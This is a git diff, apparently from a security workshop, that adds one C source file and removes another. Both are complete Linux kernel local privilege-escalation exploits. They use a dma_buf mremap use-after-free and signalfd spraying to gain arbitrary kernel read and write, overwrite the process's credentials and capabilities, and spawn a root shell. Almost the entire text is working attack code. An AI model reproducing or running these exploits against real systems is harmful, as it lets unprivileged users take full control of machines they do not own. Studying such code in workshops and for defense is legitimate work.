diff --git a/workshop_exploit/exploit_born0monday.c b/workshop_exploit/exploit_born0monday.c new file mode 100644 index 0000000..6a81530 --- /dev/null +++ b/workshop_exploit/exploit_born0monday.c @@ -0,0 +1,374 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "dma_buf_t.h" + +#define N_PAGES 8 +#define PAGE_SIZE 0x1000 + +#define NUM_SPRAYS 20 +#define NUM_SPRAY_BUFS 20 +#define NUM_DRAIN_BUFS 20 + +#define NUM_SPRAY_FDS 100 + +#define NUM_SCAN_ITERATIONS 1000 + +#define errx(ret_code, msg) do{perror(msg); exit(ret_code);} while(0); +#define min(a, b) ((a) < (b) ? (a) : (b)) + +typedef uint64_t* kptr_t; + +dma_buf_t* spray_array[NUM_SPRAY_BUFS] = {0}; +int fd_array[NUM_SPRAY_FDS] = {0}; + +void* signalfd_ops = NULL; + +void hexdump(char* addr, size_t len) +{ + const size_t line_size = 32; + const size_t group_by = 8; + size_t off = 0; + int64_t rem = len; + printf("hexdump@%p:\n", addr); + while (rem) + { + printf("+0x%04lx:", off); + for (int l_cnt = 0; l_cnt < line_size && rem; l_cnt++, off++, rem--) + { + if ((l_cnt % group_by) == 0) + printf(" "); + printf("%02hhx", addr[off]); + } + printf("\n"); + } +} + +int spray() +{ + for (int i = 0; i < NUM_SPRAYS; i++) + { + for (int j = 0; j < NUM_SPRAY_BUFS; j++) + { + spray_array[j] = dma_buf_create(N_PAGES * PAGE_SIZE); + } + + for (int j = 0; j < NUM_SPRAY_BUFS; j++) + { + close(spray_array[j]->buf_fd); + free(spray_array[j]); + spray_array[j] = NULL; + } + } +} + +int drain() +{ + for (int j = 0; j < NUM_DRAIN_BUFS; j++) + { + spray_array[j] = dma_buf_create(2 * N_PAGES * PAGE_SIZE); + } +} + +int drain_free() +{ + for (int j = 0; j < NUM_DRAIN_BUFS; j++) + { + close(spray_array[j]->buf_fd); + free(spray_array[j]); + spray_array[j] = NULL; + } +} + +void fd_cleanup() +{ + for (int j = 0; j < NUM_SPRAY_FDS; j++) + { + close(fd_array[j]); + fd_array[j] = -1; + } +} + +int raw_signalfd(int fd, sigset_t* sigset, int flags) +{ + int err = syscall(__NR_signalfd, fd, sigset, flags); + if (err < 0) + perror("signalfd syscal failed"); + return err; +} + +int matches_signalfd_fops(void* ptr) +{ + return ((uint64_t)ptr & 0xfff) == 0xf40; +} + +uint64_t read_sigmask_fdinfo(int fd) +{ + char path[64]; + snprintf(path, sizeof(path), "/proc/%d/fdinfo/%d", getpid(), fd); + + FILE* f = fopen(path, "r"); + if (!f) + { + perror("fopen"); + return 0; + } + + char line[256]; + while (fgets(line, sizeof(line), f)) + { + if (strncmp(line, "sigmask:", 8) == 0) + { + char* hex = line + 8; + while (*hex == ' ' || *hex == '\t') + hex++; + + uint64_t mask = strtoull(hex, NULL, 16); + fclose(f); + return mask; + } + } + + fclose(f); + fprintf(stderr, "sigmask not found in fdinfo\n"); + return 0; +} + +uint64_t arb_read_8(int fd, void* ptr) +{ + uint64_t* priv_ptr = signalfd_ops + 0xa0; + uint64_t old_val = *priv_ptr; + + *priv_ptr = (uint64_t)ptr; + uint64_t val = read_sigmask_fdinfo(fd); + + *priv_ptr = old_val; + val = ~val; + + // printf("[+] read address %p: 0x%016llx\n", ptr, val); + return val; +} + +void write_signalfd(int fd, void* ptr, u_int64_t data) +{ + uint64_t* priv_ptr = signalfd_ops + 0xa0; + uint64_t old_val = *priv_ptr; + + // printf("[+] overwrite address %p with 0x%016llx\n", ptr, data); + *priv_ptr = (uint64_t)ptr; + data = ~data; + + raw_signalfd(fd, (sigset_t*)&data, 8); + + *priv_ptr = old_val; +} + +void arb_write(int fd, void* ptr, u_int64_t* data, size_t data_size) +{ + uint64_t mask = 0x40100; + int i = 0; + size_t size = data_size + 64; + + uint64_t* blocks = malloc(size * sizeof(uint64_t)); + + for (i; i < data_size; i++) + blocks[i] = data[i]; + + int found = 0; + // last block of target data matches mask + if ((data[data_size - 1] & mask) == mask) + found = (i - 1) * 8; + + // last block of target data doesn't match mask + // dump/scan mem for matching block + for (; !found; i++) + { + if (i >= size) + { + size *= 2; + blocks = realloc(blocks, size * sizeof(uint64_t)); + } + + blocks[i] = arb_read_8(fd, ptr + i * 8); + + // scan for mask match in previous block + for (int j = 0; j < 8; j++) + { + uint8_t* pos = (uint8_t*)&blocks[i - 1] + j; + if ((*(uint64_t*)pos & mask) == mask) + { + found = (i - 1) * 8 + j; + break; + } + } + } + + // write data and additional memory blocks back + uint8_t* write_ptr = (uint8_t*)blocks; + for (int j = 0; j <= found; j++) + write_signalfd(fd, ptr + j, *(uint64_t*)write_ptr++); + + free(blocks); +} + +void dump_creds(int fd, kptr_t creds_addr) +{ + uint64_t uid_gid, euid_egid; + uint32_t uid, gid, euid, egid; + + uid_gid = arb_read_8(fd, (void*)creds_addr); + uid = (uint32_t)uid_gid; + gid = (uint32_t)(uid_gid >> 32); + euid_egid = arb_read_8(fd, (void*)(creds_addr + 2)); + euid = (uint32_t)euid_egid; + egid = (uint32_t)(euid_egid >> 32); + + printf("[+] Creds: uid %d, gid: %d, euid: %d, egid: %d\n", uid, gid, euid, egid); +} + +int main(int argc, char* argv[]) +{ + // spray dma bufs, will go into pcp_freelist + spray(); + + // drain pcp_freelist + drain(); + + // create dma buf with one page less than sprayed bufs + dma_buf_t* dma_buf = dma_buf_create((N_PAGES - 1) * PAGE_SIZE); + if (!dma_buf) + errx(-1, "could not create dma_buf"); + + printf("[+] openend dma_buf as fd=%d\n", dma_buf->buf_fd); + + // map dma + char* mapping = + mmap(NULL, dma_buf->size, PROT_READ | PROT_WRITE, MAP_SHARED, dma_buf->buf_fd, 0); + if (mapping == MAP_FAILED) + errx(-1, "mapping failed"); + + printf("[+] dma buffer mapped at %p\n", mapping); + + // remap, increase size by one page + char* remapped = mremap(mapping, dma_buf->size, dma_buf->size + PAGE_SIZE, MREMAP_MAYMOVE); + if (remapped == MAP_FAILED) + errx(-1, "remapping failed"); + + printf("[+] dma buffer remapped at %p\n", remapped); + + // volatile -> no caching + volatile char* uaf_page = ((volatile char*)remapped + dma_buf->size); + + // fill pcp_freelist again + drain_free(); + + for (int i = 0; i < NUM_SCAN_ITERATIONS; i++) + { + u_int64_t val = 0; + + for (int j = 0; j < NUM_SPRAY_FDS; j++) + { + fd_array[j] = raw_signalfd(-1, (sigset_t*)&val, 8); + } + + drain(); + + for (int i = 0; i < PAGE_SIZE / 8; i++) + { + uint64_t* uaf_page_ptrs = (uint64_t*)uaf_page; + + if (matches_signalfd_fops((void*)uaf_page_ptrs[i])) + { + signalfd_ops = (void*)&uaf_page_ptrs[i]; + printf("[+] Found signalfd filp at %p\n", signalfd_ops); + hexdump((char*)uaf_page + i * 8, min(PAGE_SIZE - i * 8, 0x200)); + break; + } + } + + if (signalfd_ops) + break; + + madvise((void*)uaf_page, PAGE_SIZE, MADV_DONTNEED); + drain_free(); + fd_cleanup(); + } + + if (!signalfd_ops) + errx(-1, "signalfd_ops not found"); + + uint64_t* mode_ptr = signalfd_ops + 24; + uint64_t old_mode = *mode_ptr; + *mode_ptr = (uint64_t)-1; + + // scan for correct fd + int fd_idx = -1; + for (int i = 0; i < NUM_SPRAY_FDS; i++) + { + int mode = fcntl(fd_array[i], F_GETFL); + if (mode == -1) + { + fd_idx = i; + break; + } + } + + // restore old mode + *mode_ptr = old_mode; + + if (fd_idx < 0) + { + fd_cleanup(); + errx(-1, "fd index not found"); + } + + printf("[+] Found fd index: %d\n", fd_idx); + + int fd = fd_array[fd_idx]; + + uint64_t* priv_ptr = signalfd_ops + 0xa0; + kptr_t cred_ptr = (kptr_t) * (priv_ptr - 7); + kptr_t uid_ptr = (kptr_t)((char*)cred_ptr + 4); + + printf("[+] Cred pointer: %p\n", cred_ptr); + + dump_creds(fd, uid_ptr); + + printf("[+] Overwrite creds\n"); + + uint64_t data[7]; + data[0] = 0; // uid & gid + data[1] = 0; // suid & sgid + data[2] = 0; // euid & egid + data[3] = 0; // fsuid & fsgid + data[4] = 0; // secure bits + data[5] = (uint64_t)-1; // cap_inheritable & cap_permitted + data[6] = (uint64_t)-1; // cap_effective & cap_bset + + /* testing different lengths for arb write + uint64_t data[1]; + data[0] = 0; // uid & gid + */ + + arb_write(fd, (void*)uid_ptr, data, sizeof(data) / 8); + + dump_creds(fd, uid_ptr); + + printf("[+] Spawn shell\n"); + char* nargv[] = {"/bin/sh", NULL}; + char* nenvp[] = {NULL}; // leere Umgebung + execve("/bin/sh", nargv, nenvp); + + // cleanup + madvise((void*)uaf_page, PAGE_SIZE, MADV_DONTNEED); + fd_cleanup(); + drain_free(); +} diff --git a/workshop_exploit/exploit_michi.c b/workshop_exploit/exploit_michi.c deleted file mode 100644 index 3c564dc..0000000 --- a/workshop_exploit/exploit_michi.c +++ /dev/null @@ -1,323 +0,0 @@ -#define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include - -#include "dma_buf_t.h" -#include - -// 7 * 8 = 56 bytes -> goes to kmalloc-64 (/proc/slabinfo) -#define N_PAGES 8 -#define PAGE_SIZE 0x1000 - -#define NUM_SPRAYS 20 -#define NUM_SPRAY_BUFS 20 -#define NUM_DRAIN_BUFS 20 - -#define NUM_SPRAY_FDS 100 - -#define NUM_SCAN_ITERATIONS 1000 - -#define errx(ret_code, msg) do{perror(msg); exit(ret_code);} while(0); -#define min(a,b) ((a)<(b)?(a):(b)) - -dma_buf_t *spray_array[NUM_SPRAY_BUFS] = {0}; -int fd_array[NUM_SPRAY_FDS] = {0}; - -void *signalfd_ops = NULL; - -void hexdump(char* addr, size_t len) -{ - const size_t line_size=32; - const size_t group_by = 8; - size_t off = 0; - int64_t rem = len; - printf("hexdump@%p:\n",addr); - while(rem) - { - printf("+0x%04lx:", off); - for(int l_cnt=0; l_cntbuf_fd); - free(spray_array[j]); - spray_array[j] = NULL; - } - } -} - -int drain() -{ - for(int j=0; jbuf_fd); - free(spray_array[j]); - spray_array[j] = NULL; - } -} - -void fd_cleanup() { - for(int j=0; jbuf_fd); - - char *mapping = mmap(NULL, dma_buf->size, PROT_READ | PROT_WRITE, MAP_SHARED, dma_buf->buf_fd, 0); - if (mapping == MAP_FAILED) - errx(-1, "mapping failed"); - - printf("[+] dma buffer mapped at %p\n", mapping); - - // remap, increase size by one page - char * remapped = mremap(mapping, dma_buf->size, dma_buf->size + PAGE_SIZE, MREMAP_MAYMOVE); - if (remapped == MAP_FAILED) - errx(-1, "remapping failed"); - - printf("[+] dma buffer remapped at %p\n", remapped); - - //printf("[+] accessing OOB page\n"); - // volatile = kein caching - volatile char *uaf_page = ((volatile char*)remapped+dma_buf->size); - - // trigger page fault handler -> OOB read - //char dummy = *uaf_page; - - // tell the kernel that physical page backing uaf_page is not used anymore - //madvise(uaf_page, PAGE_SIZE, MADV_DONTNEED); - - // fill pcp_freelist again - drain_free(); - - for(int i = 0; i < NUM_SCAN_ITERATIONS; i++) { - u_int64_t val = 0; - - for(int j = 0; j < NUM_SPRAY_FDS; j++) { - fd_array[j] = raw_signalfd(-1, (sigset_t*)&val, 8); - } - - drain(); - - for(int i = 0; i < PAGE_SIZE / 8 ; i++) { - uint64_t *uaf_page_ptrs = (uint64_t*)uaf_page; - - if(matches_signalfd_fops((void*)uaf_page_ptrs[i])) - { - signalfd_ops = (void*)&uaf_page_ptrs[i]; - printf("[+] Found signalfd filp at %p\n", signalfd_ops); - hexdump((char*)uaf_page+i*8, min(PAGE_SIZE-i*8,0x200)); - //memset((void*)uaf_page, 0x41, PAGE_SIZE); - break; - } - - // scan pointers - //if(uaf_page[j]){ - // signal fd found - //done = 1; - //hexdump(uaf_page+j, min(PAGE_SIZE-j, 0x200)); - //memset(uaf_page, 0, PAGE_SIZE); - // file struct pointer - // overwrite mode with 0xffffffff -> signalfd_ops_ptr + 24 - // loop over num_spray_fds: - // fcntl(fd_array[j], F_GETFL) -> fd x has idx ... -> save found idx - // now what's interesing is the private_data field -> holds sigmask if we tamper with that -> kernel write - // fd info shows signalmask -> kernel read - //break; - //} - } - - if(signalfd_ops) break; - - madvise((void *)uaf_page, PAGE_SIZE, MADV_DONTNEED); - drain_free(); - fd_cleanup(); - } - - printf("[+] After loop\n"); - - if(!signalfd_ops) - errx(-1, "signalfd_ops not found"); - - uint64_t *mode_ptr = signalfd_ops + 24; - uint64_t old_mode = *mode_ptr; - *mode_ptr = (uint64_t) -1; - - int fd_idx = -1; - for(int i = 0; i < NUM_SPRAY_FDS; i++) { - //printf("[+] Scan idx %d\n", i); - int mode = fcntl(fd_array[i], F_GETFL); - if (mode == -1) { - fd_idx = i; - break; - } - } - - *mode_ptr = old_mode; - - if (fd_idx < 0){ - fd_cleanup(); - errx(-1, "fd index not found"); - } - - printf("[+] Found fd index: %d\n", fd_idx); - - int fd = fd_array[fd_idx]; - - // file->f_op = &signalfd_fops - // file->private_data = ptr to signalfd_ctx - // signalfd_ctx->sigmask - - uint64_t *priv_ptr = signalfd_ops + 0xa0; - //void *ptr = (void*)*(priv_ptr + 1); - - void *cred_ptr = (void*)*(priv_ptr - 7); - void *uid_ptr = (uint64_t *)(cred_ptr + 4); - - //printf("%p\n", ptr); - uint64_t creds = arb_read(fd, uid_ptr); - int uid = (uint32_t) creds; - int gid = (uint32_t) (creds >> 32); - printf("[+] creds: uid: %d, gid: %d\n", uid, gid); - - - printf("[+] overwrite credentials\n"); - // Lower 4 bytes are not fully controllable: - arb_write(fd, (uint64_t *)uid_ptr, 0); - arb_write(fd, (uint32_t *)uid_ptr - 1, 0); - - creds = arb_read(fd, uid_ptr); - uid = (uint32_t) creds; - gid = (uint32_t) (creds >> 32); - printf("[+] creds: uid %d, gid: %d\n", uid, gid); - dump_creds(fd, cred_ptr); - - seteuid(0); - setegid(0); - system("/bin/sh"); - - madvise((void *)uaf_page, PAGE_SIZE, MADV_DONTNEED); - fd_cleanup(); - drain_free(); - - //munmap(remapped, dma_buf->size+PAGE_SIZE); - - //hexdump(remapped + dma_buf->size, 0x200);} -} \ No newline at end of file